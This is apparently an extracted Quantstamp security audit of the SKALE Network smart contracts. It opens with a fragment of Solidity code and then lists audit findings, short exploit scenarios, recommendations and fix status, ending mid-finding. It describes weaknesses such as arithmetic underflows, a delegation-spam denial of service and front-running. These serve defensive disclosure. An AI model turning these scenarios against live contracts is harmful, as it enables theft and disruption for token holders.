external { NodesData nodesData = NodesData(contractManager.getContract("NodesData")); NodesFunctionality nodesFunctionality = NodesFunctionality(contractManager.getContract("NodesFunctionality")); SchainsFunctionality schainsFunctionality = SchainsFunctionality(contractManager.getContract("SchainsFunctionality")); SchainsData schainsData = SchainsData(contractManager.getContract("SchainsData")); IConstants constants = IConstants(contractManager.getContract("ConstantsHolder")); schainsFunctionality.freezeSchains(nodeIndex); if (nodesData.isNodeActive(nodeIndex)) { require(nodesFunctionality.initExit(msg.sender, nodeIndex), "Initialization of node exit is failed"); } bool completed; bool schains = false; if (schainsData.getActiveSchain(nodeIndex) != bytes32(0)) { completed = schainsFunctionality.exitFromSchain(nodeIndex); schains = true; } else { completed = true; } if (completed) { require(nodesFunctionality.completeExit(msg.sender, nodeIndex), "Finishing of node exit is failed"); nodesData.changeNodeFinishTime(nodeIndex, uint32(now + (schains ? constants.rotationDelay() : 0))); } } function deleteNode(uint nodeIndex) external { address nodesFunctionalityAddress = contractManager.getContract("NodesFunctionality"); INodesFunctionality(nodesFunctionalityAddress).removeNode(msg.sender, nodeIndex); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); monitorsFunctionality.deleteMonitor(nodeIndex); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); uint validatorId = validatorService.getValidatorIdByNodeAddress(msg.sender); validatorService.deleteNode(validatorId, nodeIndex); } function deleteNodeByRoot(uint nodeIndex) external onlyOwner { NodesFunctionality nodesFunctionality = NodesFunctionality(contractManager.getContract("NodesFunctionality")); NodesData nodesData = NodesData(contractManager.getContract("NodesData")); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); nodesFunctionality.removeNodeByRoot(nodeIndex); monitorsFunctionality.deleteMonitor(nodeIndex); uint validatorId = nodesData.getNodeValidatorId(nodeIndex); validatorService.deleteNode(validatorId, nodeIndex); } function deleteSchain(string calldata name) external { address schainsFunctionalityAddress = contractManager.getContract("SchainsFunctionality"); ISchainsFunctionality(schainsFunctionalityAddress).deleteSchain(msg.sender, name); } function deleteSchainByRoot(string calldata name) external onlyOwner { address schainsFunctionalityAddress = contractManager.getContract("SchainsFunctionality"); ISchainsFunctionality(schainsFunctionalityAddress).deleteSchainByRoot(name); } function sendVerdict( uint fromMonitorIndex, uint toNodeIndex, uint32 downtime, uint32 latency) external { NodesData nodesData = NodesData(contractManager.getContract("NodesData")); MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); require(nodesData.isNodeExist(msg.sender, fromMonitorIndex), "Node does not exist for Message sender"); monitorsFunctionality.sendVerdict( fromMonitorIndex, toNodeIndex, downtime, latency); } function sendVerdicts( uint fromMonitorIndex, uint[] calldata toNodeIndexes, uint32[] calldata downtimes, uint32[] calldata latencies) external { address nodesDataAddress = contractManager.getContract("NodesData"); require(INodesData(nodesDataAddress).isNodeExist(msg.sender, fromMonitorIndex), "Node does not exist for Message sender"); require(toNodeIndexes.length == downtimes.length, "Incorrect data"); require(latencies.length == downtimes.length, "Incorrect data"); MonitorsFunctionality monitorsFunctionalityAddress = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); for (uint i = 0; i < toNodeIndexes.length; i++) { monitorsFunctionalityAddress.sendVerdict( fromMonitorIndex, toNodeIndexes[i], downtimes[i], latencies[i]); } } function getBounty(uint nodeIndex) external { address nodesDataAddress = contractManager.getContract("NodesData"); require(INodesData(nodesDataAddress).isNodeExist(msg.sender, nodeIndex), "Node does not exist for Message sender"); require(INodesData(nodesDataAddress).isTimeForReward(nodeIndex), "Not time for bounty"); bool nodeIsActive = INodesData(nodesDataAddress).isNodeActive(nodeIndex); bool nodeIsLeaving = INodesData(nodesDataAddress).isNodeLeaving(nodeIndex); require(nodeIsActive || nodeIsLeaving, "Node is not Active and is not Leaving"); uint32 averageDowntime; uint32 averageLatency; MonitorsFunctionality monitorsFunctionality = MonitorsFunctionality(contractManager.getContract("MonitorsFunctionality")); (averageDowntime, averageLatency) = monitorsFunctionality.calculateMetrics(nodeIndex); uint bounty = manageBounty( msg.sender, nodeIndex, averageDowntime, averageLatency); INodesData(nodesDataAddress).changeNodeLastRewardDate(nodeIndex); monitorsFunctionality.upgradeMonitor(nodeIndex); emit BountyGot( nodeIndex, msg.sender, averageDowntime, averageLatency, bounty, uint32(block.timestamp), gasleft()); } function initialize(address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); _erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this)); } function manageBounty( address from, uint nodeIndex, uint32 downtime, uint32 latency) internal returns (uint) { uint commonBounty; IConstants constants = IConstants(contractManager.getContract("ConstantsHolder")); IManagerData managerData = IManagerData(contractManager.getContract("ManagerData")); INodesData nodesData = INodesData(contractManager.getContract("NodesData")); uint diffTime = nodesData.getNodeLastRewardDate(nodeIndex) .add(constants.rewardPeriod()) .add(constants.deltaPeriod()); if (managerData.minersCap() == 0) { managerData.setMinersCap(ISkaleToken(contractManager.getContract("SkaleToken")).CAP() / 3); } if (managerData.stageTime().add(constants.rewardPeriod()) < now) { managerData.setStageTimeAndStageNodes(nodesData.numberOfActiveNodes().add(nodesData.numberOfLeavingNodes())); } commonBounty = managerData.minersCap() .div((2 ** (((now.sub(managerData.startTime())) .div(constants.SIX_YEARS())) + 1)) .mul((constants.SIX_YEARS() .div(constants.rewardPeriod()))) .mul(managerData.stageNodes())); if (now > diffTime) { diffTime = now.sub(diffTime); } else { diffTime = 0; } diffTime = diffTime.div(constants.checkTime()); int bountyForMiner = int(commonBounty); uint normalDowntime = ((constants.rewardPeriod().sub(constants.deltaPeriod())).div(constants.checkTime())) / 30; if (downtime.add(diffTime) > normalDowntime) { bountyForMiner -= int(((downtime.add(diffTime)).mul(commonBounty)) / (constants.SECONDS_TO_DAY() / 4)); } if (bountyForMiner > 0) { if (latency > constants.allowableLatency()) { bountyForMiner = int((constants.allowableLatency().mul(uint(bountyForMiner))).div(latency)); } payBounty(uint(bountyForMiner), from, nodeIndex); } else { //Need to add penalty bountyForMiner = 0; } return uint(bountyForMiner); } function payBounty(uint bountyForMiner, address miner, uint nodeIndex) internal returns (bool) { ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); SkaleToken skaleToken = SkaleToken(contractManager.getContract("SkaleToken")); Distributor distributor = Distributor(contractManager.getContract("Distributor")); uint validatorId = validatorService.getValidatorIdByNodeAddress(miner); uint bounty = bountyForMiner; if (!validatorService.checkPossibilityToMaintainNode(validatorId, nodeIndex)) { bounty /= 2; } skaleToken.send(address(distributor), bounty, abi.encode(validatorId)); } function fallbackOperationTypeConvert(bytes memory data) internal pure returns (TransactionOperation) { bytes1 operationType; assembly { operationType := mload(add(data, 0x20)) } bool isIdentified = operationType == bytes1(uint8(1)) || operationType == bytes1(uint8(16)) || operationType == bytes1(uint8(2)); require(isIdentified, "Operation type is not identified"); if (operationType == bytes1(uint8(1))) { return TransactionOperation.CreateNode; } else if (operationType == bytes1(uint8(16))) { return TransactionOperation.CreateSchain; } } }
July 27th 2020— Quantstamp Verified Skale Network This smart contract audit was prepared by Quantstamp, the protocol for securing smart contracts. Executive Summary Type Smart Contracts Auditors Alex Murashkin , Senior Software EngineerKacper Bąk , Senior Research EngineerEd Zulkoski , Senior Security EngineerTimeline 2020-02-04 through 2020-07-10 EVM Muir Glacier Languages Solidity Methods Architecture Review, Unit Testing, Functional Testing, Computer-Aided Verification, Manual Review Specification README.md Spec Source Code Repository Commit skale-manager remediation-3 skale-manager 50c8f4e Total Issues 26 (21 Resolved)High Risk Issues 3 (3 Resolved)Medium Risk Issues 1 (1 Resolved)Low Risk Issues 11 (8 Resolved)Informational Risk Issues 7 (5 Resolved)Undetermined Risk Issues 4 (4 Resolved) High Risk The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. Medium Risk The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. Low Risk The risk is relatively small and could not be exploited on a recurring basis, or is a risk that the client has indicated is low- impact in view of the client’s business circumstances. Informational The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. Undetermined The impact of the issue is uncertain. Unresolved Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Acknowledged The issue remains in the code but is a result of an intentional business or design decision. As such, it is supposed to be addressed outside the programmatic means, such as: 1) comments, documentation, README, FAQ; 2) business processes; 3) analyses showing that the issue shall have no negative consequences in practice (e.g., gas analysis, deployment settings). Resolved Adjusted program implementation, requirements or constraints to eliminate the risk. Mitigated Implemented actions to minimize the impact or likelihood of the risk. Summary of FindingsThe scope of the audit is restricted to the set of files outlined in the section. Quantstamp Audit Breakdown While reviewing the given files at the commit , we identified three issues of high severity, seven issues of low severity, and four issues of informational severity. In addition, we made several suggestions with regards to code documentation, adherence to best practices, and adherence to the specification. We recommend resolving the issues and improving code documentation before shipping to production. 50c8f4eWhile reviewing the diff , we marked some of the issues as resolved or acknowledged, depending on whether a code change was made. Some findings remained marked as "Unresolved" (such as , , and ): we recommend taking a look at these as we believe these were not fully addressed or still impose risks. In addition, we found 12 new potential issues of varying levels of severity. For the commit , the new issue list beings with , and line numbers now refer to the commit. The severity of some findings remained as "undetermined" due to the lack of documentation. Moreover, we made additional documentation and best practices recommendations which were placed at the end of the report after the main findings. Update:50c8f4e..remediation-3 QSP-1 QSP-10 QSP-11 remediation-3 QSP-15 remediation-3 We recommend addressing all the issues before running in production. : We reviewed the fixes provided in the following separate commits/PRs: Update 1. ( ) 1da7bbd https://github.com/skalenetwork/skale-manager/pull/267 2. ( ) 8c6a218 https://github.com/skalenetwork/skale-manager/pull/258 3. ( ) 8652d74https://github.com/skalenetwork/skale- manager/pull/264/commits/8652d743fa273c68664c1acc972067d83b28f098 4. ( ) 0164b22https://github.com/skalenetwork/skale- manager/pull/264/commits/0164b22436d8c10e22a202ff257581b76e038dec 5. ( ) 7e040bf https://github.com/skalenetwork/skale-manager/pull/229 6. ( ) bd17697 https://github.com/skalenetwork/skale-manager/pull/224 7. ( ) c671839https://github.com/skalenetwork/skale- manager/blob/c6718397cbbe7f9520b3c7ff62aa5bd1b0df27f5/contracts/ContractManager.sol#L51 All main findings ( ) from the original commit - and the re-audit commit - - were addressed in the commits above. Some best practices suggestions and documentation issues were addressed, but some were not. Code coverage could also use some improvement. QSP-1..QSP-2650c8f4e remediation-3 ID Description Severity Status QSP- 1 Potentially Unsafe Use of Arithmetic Operations High Fixed QSP- 2 Ability to register Address that already exists Low Fixed QSP- 3 Free Tokens for Owner from Testing Code High Fixed QSP- 4 Validator Denial-of-Service High Fixed QSP- 5 Unlocked Pragma Low Fixed QSP- 6 Use of Experimental Features Low Fixed QSP- 7 Centralization of Power Low Acknowledged QSP- 8 Transaction-Ordering Dependency in Validator Registration Low Fixed QSP- 9 Unintentional Locking of Tokens upon Cancelation Low Fixed QSP- 10 Validator Registration "Spamming" Low Acknowledged QSP- 11 Misusing / / require() assert() revert() Informational Acknowledged QSP- 12 Stubbed Functions in DelegationService Informational Fixed QSP- 13 Unhandled Edge Case in Validator Existence Check Informational Fixed QSP- 14 Potentially Unsafe Use of Loops Informational Fixed QSP- 15 Denial-of-Service (DoS) Medium Fixed QSP- 16 Denial-of-Service (DoS) Low Fixed QSP- 17 Potentially Unsafe Use of Loops (2) Low Acknowledged QSP- 18 Lack of Array Length Reduction Low Fixed QSP- 19 Unclear Purpose of the Assignment Undetermined Fixed QSP- 20 Unclear State List for isTerminated(...) Undetermined Fixed QSP- 21 Unclear Intention for in totalApproved TokenLaunchManager Undetermined Fixed QSP- 22 Potential Violation of the Spec Informational Acknowledged QSP- 23 Inconsistent Behaviour of addToLockedInPendingDelegations(...) Undetermined Fixed QSP- 24 Error-prone Logic for delegated.mul(2) Informational Fixed QSP- 25 Event Emitted Regardless of Result Informational Fixed QSP- 26 Missing Input Validation Low Fixed QuantstampAudit Breakdown Quantstamp's objective was to evaluate the following files for security-related issues, code quality, and adherence to specification and best practices: * ContractManager.sol * Permissions.sol * SkaleToken.sol * interfaces/ISkaleToken.sol * interfaces/delegation/IDelegatableToken.sol * interfaces/delegation/IHolderDelegation.sol * interfaces/delegation/IValidatorDelegation.sol * interfaces/tokenSale/ITokenSaleManager.sol * ERC777/LockableERC777.sol * thirdparty/BokkyPooBahsDateTimeLibrary.sol * delegation/* * utils/* Possible issues we looked for included (but are not limited to): Transaction-ordering dependence •Timestamp dependence •Mishandled exceptions and call stack limits •Unsafe external calls •Integer overflow / underflow •Number rounding errors •Reentrancy and cross-function vulnerabilities •Denial of service / logical oversights •Access control •Centralization of power •Business logic contradicting the specification •Code clones, functionality duplication •Gas usage •Arbitrary token minting •Methodology The Quantstamp auditing process follows a routine series of steps: 1. Code review that includes the following i. Review of the specifications, sources, and instructions provided to Quantstamp to make sure we understand the size, scope, and functionality of the smart contract. ii. Manual review of code, which is the process of reading source code line-by-line in an attempt to identify potential vulnerabilities. iii. Comparison to specification, which is the process of checking whether the code does what the specifications, sources, and instructions provided to Quantstamp describe. 2. Testing and automated analysis that includes the following: i. Test coverage analysis, which is the process of determining whether the test cases are actually covering the code and how much code is exercised when we run those test cases. ii. Symbolic execution, which is analyzing a program to determine what inputs cause each part of a program to execute. 3. Best practices review, which is a review of the smart contracts to improve efficiency, effectiveness, clarify, maintainability, security, and control based on the established industry and academic practices, recommendations, and research. 4. Specific, itemized, and actionable recommendations to help you take steps to secure your smart contracts. Toolset The notes below outline the setup and steps performed in the process of this audit . Setup Tool Setup: commit sha: ab387e1 • Maianv4.1.12 • Trufflev1.1.0 • Ganachev0.5.8 • SolidityCoveragev0.2.7 • MythrilNone • Securifyv0.6.6 • SlitherSteps taken to run the tools:1. Cloned the MAIAN tool:git clone --depth 1 https://github.com/MAIAN-tool/MAIAN.git maian 2. Ran the MAIAN tool on each contract:cd maian/tool/ && python3 maian.py -s path/to/contract contract.sol 3. Installed Truffle:npm install -g truffle 4. Installed Ganache:npm install -g ganache-cli 5. Installed the solidity-coverage tool (within the project's root directory):npm install --save-dev solidity-coverage 6. Ran the coverage tool from the project's root directory:./node_modules/.bin/solidity-coverage 7. Installed the Mythril tool from Pypi:pip3 install mythril 8. Ran the Mythril tool on each contract:myth -x path/to/contract 9. Ran the Securify tool:java -Xmx6048m -jar securify-0.1.jar -fs contract.sol 10. Installed the Slither tool:pip install slither-analyzer 11. Run Slither from the project directory:s slither . Findings QSP-1 Potentially Unsafe Use of Arithmetic Operations Severity: High Risk Fixed Status: File(s) affected: (multiple) Some arithmetic operations in the project may lead to integer underflows or underflows. Examples include (line numbers are for commit ): Description:50c8f4e 1. , : may underflow, which will break all distributions associated with the validator - Not fixed ( , (commit ): should use SafeMath). in commit . Distributor.solL72 amount - amount * feeRate / 1000contracts/delegation/Distributor.sol L210 remediation-3 uint bounty = amount - fee; Fixed 1da7bbd 2. , : a possibility of an underflow - Distributor.sol L77 Fixed 3. , : unsafe multiplication and addition, there may be an overflow if is set to too high or becomes too high - Distributor.solL101-105 msr validatorNodes.length Fixed 4. , - SkaleBalances.sol L89 Fixed 5. : , : unclear what the bounds of are, however, may overflow under certain conditions - Not fixed in : should still use for the multiplication. in commit . ValidatorService.solL166 L178MSR remediation- 3 SafeMath Fixed 1da7bbd 6. : : this logic should be rewritten using operations - . DelegationRequestManager.sol L74-75 SafeMath Fixed 7. : while we do not see immediate issues, we still recommended using across the board - . TimeHelpers.sol SafeMath Fixed 8. : the addition should be performed using - . ERC777/LockableERC777.sol locked + amount SafeMath Fixed 9. , and : while we do not see immediate issues, we still recommended using across the board - . DelegationController.sol L67 L71SafeMath Fixed Recommendation: 1. Usefor all arithmetic operations SafeMath 2. Add input validation for any values partaking in math operations, such as validatingin and . feeRate Distributor.sol MSR QSP-2 Ability to register Address that already exists Severity: Low Risk Fixed Status: File(s) affected: delegation/ValidatorService.sol, delegation/DelegationService.sol , : It appears that a user can invoke where is an already existing address. Description:ValidatorService.sol L92 requestForNewAddress(...) newValidatorAddress There are two cases. If is the validator's current address, the operation would effectively be a no-op. If it is a different validator's address, the operation would overwrite the old in the list. As one consequence, this would break the mapping, which would consequently invalidate any function that uses on . Exploit Scenario:newValidatorAddress validatorId _validatorAddressToId getValidatorId() L197 This relates to the functions of the same name in . DelegationService.sol Fixing the logic to disallow overwriting behavior. Recommendation: QSP-3 Free Tokens for Owner from Testing Code Severity: High Risk Fixed Status: File(s) affected:SkaleToken.sol , : the code labeled as "// TODO remove after testing" issues free tokens for the owner, which is, likely, undesired. Description: SkaleToken.sol L47-54 Remove the testing code. Recommendation: QSP-4 Validator Denial-of-Service Severity: High Risk Fixed Status: File(s) affected: delegation/DelegationService.sol, delegation/DelegationRequestManager.sol It appears that a third-party can run a denial-of-service attack which causes some methods to run out of gas upon execution. Description: Using the method of , an attacker submits multiple delegations of a low amount to a given Validator A. The array becomes big enough to cause the methods , , and run out of gas. While it is unclear what a minimum validation amount is ( , ) and the validator has to be trusted to be able to pick it up ( , ), it looks like if the attacker has a high balance, the attack is possible. Exploit Scenario:delegate() DelegationService _activeByValidator[validatorId] getDelegationsForValidator getActiveDelegationsByValidator getDelegationsTotal DelegationRequestManager.sol L62 DelegationRequestManager.sol L65 Perform a gas analysis to identify the number of validations such that does not run out of gas, and cap the number of delegations or increase the minimum price accordingly. Recommendation:_activeByValidator[validatorId] QSP-5 Unlocked Pragma Severity: Low Risk Fixed Status: File(s) affected: (multiple) Every Solidity file specifies in the header a version number of the format . The caret ( ) before the version number implies an unlocked pragma, meaning that the compiler will use the specified version , hence the term "unlocked." Description:pragma solidity (^)0.5.* ^ and above For consistency and to prevent unexpected behavior in the future, it is recommended to remove the caret to lock the file onto a specific Solidity version. Recommendation:QSP-6 Use of Experimental Features Severity: Low Risk Fixed Status: File(s) affected: delegation/*.sol The project is using , which enables an experimental version of the ABI encoder. Experimental features may contain bugs, such as . Description:pragma experimental ABIEncoderV2 this We recommend incrementing and fixing at or beyond , staying up-to-date with regards to any new -related issues, and addressing them in a timely manner. Recommendation:pragma solidity 0.5.7 ABIEncoderV2 QSP-7 Centralization of Power Severity: Low Risk Acknowledged Status: File(s) affected: (multiple) Smart contracts will often have variables to designate the person with special privileges to make modifications to the smart contract. Description:owner 1. Sincepermits the owner of the contract to interact with any of its functions, the owner can grief any wallet by setting an arbitrarily high allow() timeLimit 2. The owner can invokeand update the balance of any wallet as desired. tokensReceived() These issues exist for essentially any function using , which includes most contracts. For example, can set arbitrary delegation amounts. allowDelegation* DelegationController.setDelegationAmount() Apart from these: 1. The owner can changeat any time, which could influence upcoming distributions of shares in via : setDelegationPeriod()Distributor.distribute() L100 uint multiplier = delegationPeriodManager.stakeMultipliers(delegation.delegationPeriod);2. In, the owner may censor validators via and . ValidatorService enableValidator() disableValidator() Recommendation: 1. Potentially, removing theconditional from the modifiers. isOwner() allow 2. Make the centralization of power clear to end-users.: Not fixed, the provided rationale: "SKALE Network plans to communicate clearly the plans for admin control and how this will be graduallydecentralized. More importantly, admin is economically incentivized against this attack". UpdateQSP-8 Transaction-Ordering Dependency in Validator Registration Severity: Low Risk Fixed Status: File(s) affected: delegation/DelegationService.sol In , there is transaction-ordering dependency between on and . Description:DelegationService.sol registerValidator() L161 DelegationService.linkNodeAddress() L180 Anyone can grief someone attempting to by calling and setting to the value from the transaction. The registration will then fail due to of : . Exploit Scenario:registerValidator() linkNodeAddress() nodeAddress msg.sender registerValidator() L67 ValidatorService.solrequire(_validatorAddressToId[validatorAddress] == 0, "Validator with such address already exists"); Transaction-ordering is often difficult to fix without introducing changes to system design. However, we are just bringing the potential issue to the team's attention. Recommendation:QSP-9 Unintentional Locking of Tokens upon Cancelation Severity: Low Risk Fixed Status: File(s) affected: delegation/TokenState.sol , : the logic enables the possibility of ending up having locked more tokens than expected. Description: TokenState.sol L205 Exploit Scenario: 1. A user gets 20 tokens from the token sale (and they are, therefore, locked)2. The user receives a transfer of 5 tokens from someone else3. The user requests a delegation of 25 tokens4. The user's delegation gets canceled5. The user ends up having 25 locked tokens instead of the original 20 tokens.Reconsider the logic in . Recommendation: TokenState.sol QSP-10 Validator Registration "Spamming" Severity: Low Risk Acknowledged Status: File(s) affected: delegation/DelegationService.sol The method is open to the public: anyone can call it and spam the network with registering arbitrary addresses as validators. This will pollute the contract with validator entries that do not do anything yet have an impact on the smart contract's state. For instance, would become high but this would not reflect the actual state of the network. Description:registerValidator() numberOfValidators We suggest adding a mechanism for preventing adding arbitrary validator registrations. Alternatively, making it so that adding new validators does not affect the contract state (e.g., calculate differently, e.g., only adding up trusted validators). Recommendation:numberOfValidators Unresolved, the rationale: "validators must pay for gas to register, so this naturally reduces DoS. Receiving a validator ID does not allow the user to do anything special - unless they are a part of whitelist." However, as of , there is an added issue, see . Update:remediation-3 QSP-16 : The implications of this issue are mitigated in . Update 8c6a218 QSP-11 Misusing / / require() assert() revert() Severity: Informational Acknowledged Status: File(s) affected: thirdparty/BokkyPooBahsDateTimeLibrary.sol, delegation/DelegationController.sol , , and all have their own specific uses and should not be switched around. Description: require() revert() assert() checks that certain preconditions are true before a function is run. • require(), when hit, will undo all computation within the function. • revert()is meant for checking that certain invariants are true. An failure implies something that should never happen, such as integer overflow, has occurred. •assert()assert() Recommendation: 1.: use instead of on lines , , , , , , , , , , , and BokkyPooBahsDateTimeLibrary.sol assert require 217 2322362402442482622772812852892932. , use instead of on lines , , and . DelegationController.sol assert require L134 L165L193 only fixed in . However, this is up to the Skale Labs team to decide whether the date-time library should be fixed or not. Update:DelegationController.sol the team made a decision to not update the date-time library, which is fair in this case. Update: QSP-12 Stubbed Functions in DelegationService Severity: Informational Fixed Status: File(s) affected: delegation/DelegationService.sol There are several stubbed functions in this contract, e.g., on or on , which seem important, particularly, since no events are emitted that would easily alert a delegator that a new delegation offer is associated with them. Description:listDelegationRequests() L90 getDelegationRequestsForValidator() L156 Consider implementing the stubbed functions. Recommendation: QSP-13 Unhandled Edge Case in Validator Existence Check Severity: Informational Fixed Status: File(s) affected: delegation/DelegationService.sol , : incorrectly returns if the input is , which could affect any function with the modifier . Note that defines the first validator and ID 1. Description:ValidatorService.sol L181 validatorExists()true 0 checkValidatorExists() L69 validatorId = ++numberOfValidators;Return when the validator address argument is provided as . Recommendation: false 0 QSP-14 Potentially Unsafe Use of Loops Severity: Informational Fixed Status: File(s) affected: (multiple) "For" loops are used throughout to iterate over active delegations or distribution shares. Examples include (with the respective. bounds): Description: : : • DelegationController.solL75-79, L115-128, L132-137, L182-187, L191-197 _activeByValidator[validatorId].length : : • DelegationController.solL154-159, L163-169 _delegationsByHolder[holderAddress].length : : • delegation/DelegationService.solL103-105 shares.length : : • delegation/Distributor.solL95-107, L109-117 activeDelegations.length : : • delegation/TokenState.solL63-69, L76-82 delegationIds.length : : • delegation/TokenState.solL161-163 _endingDelegations[holder].length : : • delegation/TokenState.solL246-256 _endingDelegations[delegation.holder].length If the value of a loop's upper bound is very high, it may cause a transaction to run out of gas and potentially lead to other higher-severity issues, such as . QSP-4 We recommend running gas analysis for the loops. This would identify the viable bounds for each loop, which consequently could be used for adding constraints to prevent overflows. Recommendation:this instance was fixed, however, there are now more potential issues with loops, see . Update: QSP-17 QSP-15 Denial-of-Service (DoS) Severity: Medium Risk Fixed Status: File(s) affected: ConstantsHolder.sol : The owner can overwrite the at any point using . It is unclear why this functionality is necessary, but if abused (with a low likelihood) and set to a time very far into the future, it could lock the two functions and . Description:ConstantsHolder.sol, L165 launchTimestamp setLaunchTimestamp() Distributor withdrawBounty() withdrawFee() Consider removing the ability to override the launch timestamp. Recommendation: : fixed in and . Update 8652d74 0164b22 QSP-16 Denial-of-Service (DoS)Severity: Low Risk Fixed Status: File(s) affected: ValidatorService.sol : iterates over all validator entries. However, as per , any party can arbitrarily submit requests that increment . While block gas limits should not be an issue for external view methods, the method may end up iterating over many unconfirmed validators, which could extend the load or execution time of the Ethereum node that executes the method. Description:L127 getTrustedValidators(...)numberOfValidators QSP-10 registerValidator(...) numberOfValidators Consider tracking trusted validators differently, in order to avoid iterating over unconfirmed validators. Recommendation: QSP-17 Potentially Unsafe Use of Loops (2) Severity: Low Risk Acknowledged Status: File(s) affected: delegation/DelegationController.sol, delegation/ValidatorService.sol, delegation/TokenState.sol We found the following locations in code where for loops are still used: Description: 1. In, there are two invocations of the method: , : . They both use the overloaded instance of that does not take as an input parameter: DelegationController.solprocessAllSlashes(...) processAllSlashes(holder); L339 processAllSlashes(msg.sender)processAllSlashes limit function processAllSlashes(address holder) public { processSlashes(holder, 0); } This eventually calls with the limit set to (or, unlimited). processSlashesWithoutSignals(...) 0 In addition, : , : , and : also call with the limit set to . L201processSlashesWithoutSignals(holder)L231 processSlashesWithoutSignals(msg.sender);L280 processSlashesWithoutSignals(delegations[delegationId].holder); processSlashesWithoutSignals(...) 0 If the limit is set to , sets as the bound for the loop. If happens to contain too many slashes, there is a chance for the loop at to cause a "block gas limit exceeded" issue. 0L899_slashes.length end _slashes.length L903 for (; index < end; ++index) {2. Similarly, in, has a for-loop: if there are too many slashing signals, a block gas limit issue could be hit. DelegationController.solsendSlashingSignals(...) 3. In, and contain use of potentially unbounded loops. Block gas limits are more difficult to exceed because it requires a specific validator to register too many node addresses, however, we are highlighting it for awareness. delegation/ValidatorService.solL305 L3374. : iterations over the lockers could, in theory, lead to the "block out of gas exceptions". However, since the methods are , the risk is pretty low assuming the responsibility of the owner. delegation/TokenState.solownerOnly Perform gas analysis and define mitigation strategies for the loops in and to ensure the block gas limit is never hit, and none of the contract methods are blocked due to this. Cap the number of slashings if possible. Recommendation:DelegationController.sol ValidatorService.sol Update: The Skale Labs team provided the following responses (quoted): 1. Issue is known and acceptable because initial network phases will operate with slashing off to verify very low probability of slashing events. It is expected thatslashing will be rare event, and in the exceptional case of many slashing events, it is possible to batch executions. 2. Same as above in 1.3. Acknowledged and optimization is planned. For initial network phases it will be difficult to exceed as the Quantstamp team notes.4. There will only be 3-4 total lockers.QSP-18 Lack of Array Length Reduction Severity: Low Risk Fixed Status: File(s) affected: delegation/ValidatorService.sol, delegation/TokenLaunchLocker.sol There are two instances when an array item is removed but the array length is not explicitly reduced: Description: 1. , : The lack of length reduction of is likely unintentional after - in . ValidatorService.solL212 validatorNodes.length delete validators[validatorId].nodeIndexes[validatorNodes.length.sub(1)]; Fixed 7e040bf2. , : : may also need to reset the array lengths for and . (code removed). delegation/TokenLaunchLocker.solL237 deletePartialDifferencesValue(...)sequence.addDiff sequence.subtractDiff Fixed Add length decrements where appropriate. Recommendation: QSP-19 Unclear Purpose of the AssignmentSeverity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol , : the purpose of the assignment is not clear. Description:In delegation/DelegationController.sol L609 _firstUnprocessedSlashByHolder[holder] = _slashes.length; Clarify the purpose. Improve the developer documentation. Recommendation: the team has provided a clarification: Update: `_slashes` is a list of all slashing events that have occurred in the network. When skale-manager calculates the amount of locked tokens, it iterates over this list. Each item is processed only once. When a token holder creates their first delegation, it is set first as an unprocessed slash as `_slashes.length` to avoid processing of all slashed before that. This obviously does not affect the holder. QSP-20 Unclear State List for isTerminated(...) Severity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol Currently, in , includes two states: and . However, there is also the state, which seems to be unaccounted for, and it is unclear if this is intentional. Note that this affects the function below. Description:delegation/DelegationController.sol isTerminated() COMPLETED REJECTED CANCELED isLocked() Clarifying the intention and accounting for the state as needed. Recommendation: CANCELED : the logic has been removed from the code in . Update 1da7bbd QSP-21 Unclear Intention for in totalApproved TokenLaunchManager Severity: Undetermined Fixed Status: File(s) affected: delegation/TokenLaunchManager.sol It is not clear if the require-statement on : will work as intended. The only accounts for the new values passed into the function but does not consider approval amounts made previously. It is unclear which is desirable here. Description:L60 require(totalApproved <= getBalance(), "Balance is too low");totalApproved Clarifying the intention and fixing as necessary. Recommendation: : the logic has been updated to count the approvals globally. Update QSP-22 Potential Violation of the Spec Severity: Informational Acknowledged Status: File(s) affected: delegation/TokenState.sol In , if a locker such as the is removed via , parts of the spec will not be enforced, e.g., "Slashed funds will be held in an escrow account for the first year.". Description:delegation/TokenState.sol Punisher removeLocker() Clarifying the intention and fixing as necessary. Recommendation: the team has provided an explanation that the owner is de-incentivized from harming the network. No fix is provided. Update: QSP-23 Inconsistent Behaviour of addToLockedInPendingDelegations(...) Severity: Undetermined Fixed Status: File(s) affected: delegation/DelegationController.sol In , : the behaviour of is inconsistent with the behaviour of : in the latter case, the is being subtracted from the existing amount, while in the former, it simply overwrites with the new `amount. Description:delegation/DelegationController.sol L571 addToLockedInPendingDelegations(...) subtractFromLockedInPerdingDelegations(...) amount _lockedInPendingDelegations[holder].amount Clarifying the intention of the method and fixing as necessary. Recommendation: addToLockedInPendingDelegations(...) : the logic has been updated, and is now consistent with . UpdateaddToLockedInPendingDelegations(...) subtractFromLockedInPerdingDelegations(...) QSP-24 Error-prone Logic for delegated.mul(2) Severity:Informational Fixed Status: File(s) affected: delegation/TokenLaunchHolder.sol In , both : and : contain the "magic" value of . This makes the logic error-prone, as the constant is scattered around while lacking a developer documentation. Description:delegation/TokenLaunchHolder L117 if (_totalDelegatedAmount[wallet].delegated.mul(2) >=_locked[wallet] && L163 if (_totalDelegatedAmount[holder].delegated.mul(2) < _locked[holder]) {2 Centralizing the constant, defining it in a single place. Improving the documentation accordingly. Recommendation: : Fixed in . Update 1da7bbd QSP-25 Event Emitted Regardless of Result Severity: Informational Fixed Status: File(s) 